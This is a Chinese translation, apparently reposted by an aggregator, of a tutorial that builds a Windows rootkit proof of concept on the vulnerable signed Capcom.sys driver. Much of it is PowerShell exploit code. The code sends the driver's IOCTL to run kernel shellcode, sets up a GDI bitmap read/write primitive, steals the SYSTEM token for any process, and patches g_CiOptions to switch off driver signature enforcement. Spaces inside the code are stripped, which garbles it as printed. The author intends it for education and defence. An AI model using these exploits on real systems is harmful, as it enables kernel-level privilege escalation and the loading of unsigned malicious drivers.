Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】Capcom Rootkit PoC的实现(含演示视频)

0
0
【技术分享】Capcom Rootkit PoC的实现(含演示视频)

2017-03-14 13:50:17
来源:fuzzysecurity.com 作者:myswsun

阅读:418次
点赞(0)
收藏





【技术分享】Capcom Rootkit PoC的实现(含演示视频)

翻译:myswsun

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

最近,我读了一篇关于Derusbi恶意软件的文章。那篇文章主要是关于恶意软件作者使用了一种技术,利用签名的Novell驱动的漏洞(CVE-2013-3956)修改一些内核中的位来临时禁用驱动签名。一旦禁用了,Derusbi加载一个NDIS驱动,可能用来嗅探原始数据包的传输(我没有细看)。

不管怎样,我很好奇相同功能的PoC有多困难(事实是也不是很困难)。为了完整描述攻击者的场景,我决定使用签名驱动(Capcom.sys)中的漏洞,它首先由TheWackOlian在2016年9月23日披露。


0x01 资源

Capcom-Rootkit(@FuzzySec)- 这里

Derusbi绕过windows驱动签名 – 这里

快速浏览强制驱动签名(@j00ru) - 这里

对抗X64强制驱动签名(@hFireF0X)- 这里


0x02 驱动漏洞

本文主要的目的不是分析驱动漏洞。我强烈建议你看下@TheColonial的演示,以更好的理解利用过程。

本质上,驱动提供了ring0代码执行作为一个服务。它唯一的功能是使用用户层的指针来禁用SMEP,执行指针地址的代码并重新启用SMEP。函数的反汇编如下:


【技术分享】Capcom Rootkit PoC的实现(含演示视频)

Powershell PoC如下,描述了如何利用。

#Sometrickshere #=>cmp[rax-8],rcx echo"`n[>]AllocatingCapcompayload.." [IntPtr]$Pointer=[CapCom]::VirtualAlloc([System.IntPtr]::Zero,(8+$Shellcode.Length),0x3000,0x40) $ExploitBuffer=[System.BitConverter]::GetBytes($Pointer.ToInt64()+8)+$Shellcode [System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer,0,$Pointer,(8+$Shellcode.Length)) echo"[+]Payloadsize:$(8+$Shellcode.Length)" echo"[+]Payloadaddress:$("{0:X}"-f$Pointer.ToInt64())" $hDevice=[CapCom]::CreateFile("\\.\Htsysm72FB",[System.IO.FileAccess]::ReadWrite,[System.IO.FileShare]::ReadWrite,[System.IntPtr]::Zero,0x3,0x40000080,[System.IntPtr]::Zero) if($hDevice-eq-1){ echo"`n[!]Unabletogetdriverhandle..`n" Return }else{ echo"`n[>]Driverinformation.." echo"[+]lpFileName:\\.\Htsysm72FB" echo"[+]Handle:$hDevice" } #IOCTL=0xAA013044 #--- $InBuff=[System.BitConverter]::GetBytes($Pointer.ToInt64()+8) $OutBuff=0x1234 echo"`n[>]Sendingbuffer.." echo"[+]Bufferlength:$($InBuff.Length)" echo"[+]IOCTL:0xAA013044" [CapCom]::DeviceIoControl($hDevice,0xAA013044,$InBuff,$InBuff.Length,[ref]$OutBuff,4,[ref]0,[System.IntPtr]::Zero)|Out-null

有了执行任意的shellcode的能力,我选择了一个GDI bitmap原语,能使我们获得在内核中永久性的读写的能力,而不用一遍又一遍的调用驱动。为了创建bitmap,我使用Stage-gSharedInfoBitmap,并且使用下面的形式构建了shellcode。

#LeakBitMappointers echo"`n[>]gSharedInfobitmapleak.." $Manager=Stage-gSharedInfoBitmap $Worker=Stage-gSharedInfoBitmap echo"[+]ManagerbitmapKerneladdress:0x$("{0:X16}"-f$($Manager.BitmapKernelObj))" echo"[+]WorkerbitmapKerneladdress:0x$("{0:X16}"-f$($Worker.BitmapKernelObj))" #Shellcodebuffer [Byte[]]$Shellcode=@( 0x48,0xB8)+[System.BitConverter]::GetBytes($Manager.BitmappvScan0)+@(#movrax,$Manager.BitmappvScan0 0x48,0xB9)+[System.BitConverter]::GetBytes($Worker.BitmappvScan0)+@(#movrcx,$Manager.BitmappvScan0 0x48,0x89,0x08,#movqwordptr[rax],rcx 0xC3#ret )

这个技术的更多细节能在@mwrlabs的标题A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition和我的Windows利用开发教程系列的part 17中找到。


0x03 Rootkit功能

现在我们有了内核中任意读写的能力,我们能开始完成我们的rootkit功能。我决定集中在两个不同的功能上:

1. 将任意读写的PID提升到SYSTEM权限

2. 在运行时禁用强制驱动签名,以便在内核中加载未签名的代码

任意进程提权

我们需要遍历EPROCESS结构链表,复制SYSTEM的EPROCESS令牌字段,并且使用这个值覆盖目标进程的EPROCESS结构。没有任何现成的漏洞,我们实际上可以在用户层泄漏一个指针指向System(PID 4)的EPROCESS入口。


【技术分享】Capcom Rootkit PoC的实现(含演示视频)

应该注意,使用SystemModuleInformation能泄漏当前加载的NT内核的基址, 只在Windows8.1后的中等完整进程中起作用。我们能在Powershell简单实现这个过程,使用Get-LoadedModules,并在KD中验证我们的结果。


【技术分享】Capcom Rootkit PoC的实现(含演示视频)

【技术分享】Capcom Rootkit PoC的实现(含演示视频)

因此我们有了一种方法,来得到System的EPROCESS结构的指针,并使用我们的bitmap原语我们能够简单的读取与那个进程相关的SYSTEM令牌。最后一件事,我们需要遍历ActiveProcessLinks链表,来找到我们想要提权的进程的EPROCESS结构。列表结构如下(Windows 10 x64)。


【技术分享】Capcom Rootkit PoC的实现(含演示视频)

这个列表是个双向循环列表。简单来说,我们将使用我们的bitmap原语来读取当前EPROCESS结构的PID,如果匹配了PID,我们将覆盖这个进程的令牌,如果不能匹配,我们从ActiveProcessLinks->Flink读取下个EPROCESS结构的地址,并重复。

EPROCESS结构是不透明的(未文档化),且不同的Windows系统会不同,但是我们能维护一个静态的偏移列表。我强烈推荐看一下@rwfpl的Terminus Project。偷取令牌的逻辑的Powershell实现如下。

functionCapcom-ElevatePID{ param([Int]$ProcPID) #Checkourbitmapshavebeenstagedintomemory if(!$ManagerBitmap-Or!$WorkerBitmap){ Capcom-StageGDI if($DriverNotLoaded-eq$true){ Return } } #DefaultstoelevatingPowershell if(!$ProcPID){ $ProcPID=$PID } #Makesurethepidexists! #0isalsoinvalidbutwilldefaultto$PID $IsValidProc=((Get-Process).Id).Contains($ProcPID) if(!$IsValidProc){ Write-Output"`n[!]Invalidprocessspecified!`n" Return } #_EPROCESSUniqueProcessId/Token/ActiveProcessLinksoffsetsbasedonOS #WARNINGoffsetsareinvalidforPre-RTMimages! $OSVersion=[Version](Get-WmiObjectWin32_OperatingSystem).Version $OSMajorMinor="$($OSVersion.Major).$($OSVersion.Minor)" switch($OSMajorMinor) { '10.0'#Win10/2k16 { $UniqueProcessIdOffset=0x2e8 $TokenOffset=0x358 $ActiveProcessLinks=0x2f0 } '6.3'#Win8.1/2k12R2 { $UniqueProcessIdOffset=0x2e0 $TokenOffset=0x348 $ActiveProcessLinks=0x2e8 } '6.2'#Win8/2k12 { $UniqueProcessIdOffset=0x2e0 $TokenOffset=0x348 $ActiveProcessLinks=0x2e8 } '6.1'#Win7/2k8R2 { $UniqueProcessIdOffset=0x180 $TokenOffset=0x208 $ActiveProcessLinks=0x188 } } #GetEPROCESSentryforSystemprocess $SystemModuleArray=Get-LoadedModules $KernelBase=$SystemModuleArray[0].ImageBase $KernelType=($SystemModuleArray[0].ImageName-split"\\")[-1] $KernelHanle=[Capcom]::LoadLibrary("$KernelType") $PsInitialSystemProcess=[Capcom]::GetProcAddress($KernelHanle,"PsInitialSystemProcess") $SysEprocessPtr=$PsInitialSystemProcess.ToInt64()-$KernelHanle+$KernelBase $CallResult=[Capcom]::FreeLibrary($KernelHanle) $SysEPROCESS=Bitmap-Read-Address$SysEprocessPtr $SysToken=Bitmap-Read-Address$($SysEPROCESS+$TokenOffset) Write-Output"`n[+]SYSTEMToken:0x$("{0:X}"-f$SysToken)" #GetEPROCESSentryforPID $NextProcess=$(Bitmap-Read-Address$($SysEPROCESS+$ActiveProcessLinks))-$UniqueProcessIdOffset-[System.IntPtr]::Size while($true){ $NextPID=Bitmap-Read-Address$($NextProcess+$UniqueProcessIdOffset) if($NextPID-eq$ProcPID){ $TargetTokenAddr=$NextProcess+$TokenOffset Write-Output"[+]FoundPID:$NextPID" Write-Output"[+]PIDtoken:0x$("{0:X}"-f$(Bitmap-Read-Address$($NextProcess+$TokenOffset)))" break } $NextProcess=$(Bitmap-Read-Address$($NextProcess+$ActiveProcessLinks))-$UniqueProcessIdOffset-[System.IntPtr]::Size } #Duplicatetoken! Write-Output"[!]DuplicatingSYSTEMtoken!`n" Bitmap-Write-Address$TargetTokenAddr-Value$SysToken }
【技术分享】Capcom Rootkit PoC的实现(含演示视频)

绕过强制驱动签名

我建议你看下@j00ru的关于强制驱动签名的write-up。结果证明Windows上的代码完整性有一个独立的二进制(ci.dll,%WINDIR%\System32\)管理。在Windows 8之前,CI导出了一个全局的boolean变量g_CiEnabled,完美的表示签名是否启动。在Windows 8之后,g_CiEnabled被另一个全局变量(g_CiOptions)代替,其是一个标志的组合(最重要的是0x0=禁用,0x6=启用,0x8=测试模式)。

由于Δt free-time限制,这个模块只针对Win8+中使用的g_CiOptions。然而,类似的方法可以用于g_CiEnabled(欢迎GitHub pull 请求)。基本上,我们将使用和Derusbi恶意软件的作者一样的技术。因为g_CiOptions没有导出,我们不得不在patch这个值时做些动态计算。如果我们反编译CI!CiInitialize,我们能看见g_CiOptions的指针。


【技术分享】Capcom Rootkit PoC的实现(含演示视频)

与我们之前做的类似,我们能在CI!CiInitialize中泄漏地址,而不是用任何漏洞。


【技术分享】Capcom Rootkit PoC的实现(含演示视频)
目前只实现了一些逻辑,使用我们的bitmap原语来读取字节,以寻找第一个“jmp”(0xE9),和第一个“mov dword ptr[xxxxx], ecx”(0x890D)。一旦我们有了g_CiOptions的地址,我们能设置我们想要的任何值。Powershell函数如下。 functionCapcom-DriverSigning{ param([Int]$SetValue) #Checkourbitmapshavebeenstagedintomemory if(!$ManagerBitmap-Or!$WorkerBitmap){ Capcom-StageGDI if($DriverNotLoaded-eq$true){ Return } } #LeakCIbase=>$SystemModuleCI.ImageBase $SystemModuleCI=Get-LoadedModules|Where-Object{$_.ImageName-Like"*CI.dll"} #WeneedDONT_RESOLVE_DLL_REFERENCESforCILoadLibraryEx $CIHanle=[Capcom]::LoadLibraryEx("ci.dll",[IntPtr]::Zero,0x1) $CiInitialize=[Capcom]::GetProcAddress($CIHanle,"CiInitialize") #Calculate=>CI!CiInitialize $CiInitializePtr=$CiInitialize.ToInt64()-$CIHanle+$SystemModuleCI.ImageBase Write-Output"`n[+]CI!CiInitialize:$('{0:X}'-f$CiInitializePtr)" #FreeCIhandle $CallResult=[Capcom]::FreeLibrary($CIHanle) #Calculate=>CipInitialize #jmpCI!CipInitialize for($i=0;$i-lt500;$i++){ $val=("{0:X}"-f$(Bitmap-Read-Address$($CiInitializePtr+$i)))-split'(..)'|?{$_} #Lookforthefirstjmpinstruction if($val[-1]-eq"E9"){ $Distance=[Int]"0x$(($val[-3,-2])-join'')" $CipInitialize=$Distance+5+$CiInitializePtr+$i Write-Output"[+]CI!CipInitialize:$('{0:X}'-f$CipInitialize)" break } } #Calculate=>g_CiOptions #movdwordptr[CI!g_CiOptions],ecx for($i=0;$i-lt500;$i++){ $val=("{0:X}"-f$(Bitmap-Read-Address$($CipInitialize+$i)))-split'(..)'|?{$_} #Lookforthefirstjmpinstruction if($val[-1]-eq"89"-And$val[-2]-eq"0D"){ $Distance=[Int]"0x$(($val[-6..-3])-join'')" $g_CiOptions=$Distance+6+$CipInitialize+$i Write-Output"[+]CI!g_CiOptions:$('{0:X}'-f$g_CiOptions)" break } } #printg_CiOptions Write-Output"[+]CurrentCiOptionsValue:$('{0:X}'-f$(Bitmap-Read-Address$g_CiOptions))`n" if($SetValue){ Bitmap-Write-Address$g_CiOptions-Value$SetValue #printnewg_CiOptions Write-Output"[!]NewCiOptionsValue:$('{0:X}'-f$(Bitmap-Read-Address$g_CiOptions))`n" } }

截图如下,当前的g_CiOptions值是0x6(驱动签名启动了),且阻止了我们加载evil.sys。


【技术分享】Capcom Rootkit PoC的实现(含演示视频)

在覆写这个值后,我们能成功加载我们的未签名的驱动。


【技术分享】Capcom Rootkit PoC的实现(含演示视频)

不过g_CiOptions被PatchGuard保护,意味着如果这个值改变了,Windows将蓝屏(CRITICAL_STRUCTURE_CORRUPTION)。然而这个不太可能发生,当测试时我不得不等待了一个小时才等到PatchGuard触发。如果你加载了未签名的驱动,且恢复了这个值,PatchGuard将不会意识到。我的深度防御的建议是在驱动加载时触发CI的PatchGuard检查,尽管这个也不能阻止攻击者反射加载驱动,但会提高门槛。


0x04 想法

第三方,签名的驱动对Windows内核构成了严重威胁,我确信这个例子已经说明了这种情况。我也发现实现简单的内核subversion比想象中容易,尤其是与PatchGuard有关的。总的来说,我认为最明智的做法是组织使用驱动白名单来部署设备保护,以便消除这种类型的攻击。

Capcom-Rootkit在GitHub中提供,用于教育/测试的目的,不要做坏事。


【技术分享】Capcom Rootkit PoC的实现(含演示视频)
【技术分享】Capcom Rootkit PoC的实现(含演示视频)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://www.fuzzysecurity.com/tutorials/28.html

Viewing all articles
Browse latest Browse all 12749